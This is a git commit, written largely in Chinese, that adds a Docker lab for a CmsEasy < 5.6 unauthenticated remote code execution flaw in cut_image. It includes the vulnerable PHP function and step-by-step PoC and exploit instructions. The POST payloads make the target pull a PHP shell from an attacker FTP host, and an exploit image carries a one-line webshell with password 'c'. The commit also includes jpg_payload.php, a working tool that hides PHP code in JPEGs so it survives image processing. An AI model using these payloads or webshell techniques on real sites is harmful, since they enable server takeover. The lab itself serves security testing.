(Add Vul: CmsEasy) CmsEasy < 5.6 20161012 cut_image 远程代码执行漏洞

This commit is contained in:
Medicean 2016-12-14 11:54:08 +08:00
parent b77d064ceb
commit 57e03b47bb
8 changed files with 315 additions and 1 deletions

View File

@ -10,7 +10,7 @@
## 获取并使用相关镜像
> 直接使用 docker 命令拉取相关镜像,并启动。需要查看相关环境的 tag 可以直接在 dockerhub 查看或在具体的漏洞目录下查看 ReadME 文件。
> 直接使用 docker 命令拉取相关镜像,并启动。需要查看相关环境的 tag 可以直接在 dockerhub 查看或在具体的漏洞目录下查看 README 文件。
以 Struts2 S2-037 漏洞环境为例:
@ -71,6 +71,7 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
### [C](./c/)<div id="c"></div>
* [Cisco](./c/cisco/)
* [CmsEasy](./c/cmseasy/)
### [I](./i/)<div id="i"></div>

View File

@ -1,3 +1,4 @@
# C
* [Cisco](./cisco/)
* [CmsEasy](./cmseasy/)

1
c/cmseasy/1/Dockerfile Normal file
View File

@ -0,0 +1 @@
FROM medicean/vulapps:base_cmseasy_5_6_20160825

136
c/cmseasy/1/README.md Normal file
View File

@ -0,0 +1,136 @@
## CmsEasy < 5.6 20161012 cut_image 代码执行漏洞
### 说明
感谢 [@cnsolu](https://github.com/cnsolu) 提供漏洞基础详情
### 漏洞信息
CmsEasy是一款基于PHP+Mysql 架构的网站内容管理系统也是一个PHP开发平台。采用模块化方式开发功能易用便于扩展可面向大中型站点提供重量级网站建设解决方案。
CmsEasy < 5.6_20161012 版本 `cut_image_action` 函数存在代码执行漏洞远程攻击者可在未登录的情况下向服务器上传任意文件执行任意代码获取服务器权限
详细参考:[CmsEasy前台无限制GetShell](https://xianzhi.aliyun.com/forum/read/215.html)
### 漏洞相关代码
```php
function cut_image_action() {
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
$thumb=new thumb();
$thumb->set(front::$post['thumb'],'jpg');
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
$save_file='upload/images/'.date('Ym').'/'.$new_name;
@mkdir(dirname(ROOT.'/'.$save_file));
ob_start();
$thumb->out_image($img,null,85);
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
ob_end_clean();
$image_url=config::get('base_url').'/'.$save_file;
//$res['size']=ceil(strlen($img) / 1024);
$res['code']="
//$('#cut_preview').attr('src','$image_url');
$('#thumb').val('$image_url');
alert(lang('save_success'));
";
echo json::encode($res);
}
```
### 镜像信息
类型 | 用户名 | 密码
:-:|:-:|:-:
Mysql | root | root
/admin/ | admin | admin123
### 获取环境:
1. 拉取镜像到本地
```
$ docker pull medicean/vulapps:c_cmseasy_1
```
2. 启动环境
```
$ docker run -d -p 8000:80 medicean/vulapps:c_cmseasy_1
```
> `-p 8000:80` 前面的 8000 代表物理机的端口,可随意指定。
### 使用与利用
访问 `http://你的 IP 地址:端口号/`
#### PoC 使用
1. 图片处理
将 [`poc_phpinfo_700x1120.png`](./poc_phpinfo_700x1120.png)上传至攻击者FTP服务器并将后缀改为`.php`,如文件名被重命名为`phpinfo.php`
> 也可根据这篇文章[「CmsEasy前台无限制GetShell」](https://xianzhi.aliyun.com/forum/read/215.html)自行生成,生成的脚本为 [jpg_payload.php](./jpg_payload.php),感谢作者
2. 验证漏洞
发起 POST 请求,地址为:
```
http://目标网站/index.php?case=tool&act=cut_image
```
POST data:
```
pic=1ftp://攻击者FTP地址/phpinfo.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120
```
3. 成功会返回
```
{"code":"\r\n \/\/$('#cut_preview').attr('src','\/upload\/images\/201612\/148159258747.php');\r\n $('#thumb').val('\/upload\/images\/201612\/148159258747.php');\r\n\t\t\t\t alert(lang('save_success'));\r\n "}
```
4. 访问上传成功后的php文件
`http://你的 IP 地址:端口号/upload/images/201612/148159258747.php`
#### Exp 使用
使用的图片为 [`exp_eval_post_c_700x1120.png`](exp_eval_post_c_700x1120.png),步骤与 PoC 使用完全相同。
一句话连接密码为`c`
#### POST data 详细说明
* w=x2=图片宽度
* h=y2=图片高度
* x1=y1=固定0
> 同一张图片请求时若指定的宽度和高度的值不相同gd 库转换后的结果也不相同
如果`$_POST['pic']`开头4个字符不是`http`的话就认为是本站的文件会从前面抽取掉baseurl等于返回文件相对路径所以构造的时候 如果站点不是放在根目录 则需要在前面补位`strlen(base_url)+2` 如果放在根目录 也需要补上1位`/`的长度)
**举个例子:**
目标站 `http://www.target.com/easy/cmseasy/` 放在 cmseasy 子目录,就需要补上`strlen(base_url)+2 = strlen('cmseasy') + 2 = 9`POST数据就是
```
pic=111111111ftp://hacker.db/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
```
目标站 `http://www.target2.com/` 放在web根目录 就需要补上1位POST数据就是
```
pic=1ftp://hacker.com/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

171
c/cmseasy/1/jpg_payload.php Executable file
View File

@ -0,0 +1,171 @@
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed
image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
php jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?php phpinfo();?>';
print $miniPayload;
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

Binary file not shown.

After

Width:  |  Height:  |  Size: 74 KiB

4
c/cmseasy/README.md Normal file
View File

@ -0,0 +1,4 @@
CmsEasy
---
1. [CmsEasy < 5.6 20161012 cut_image 代码执行漏洞](1/)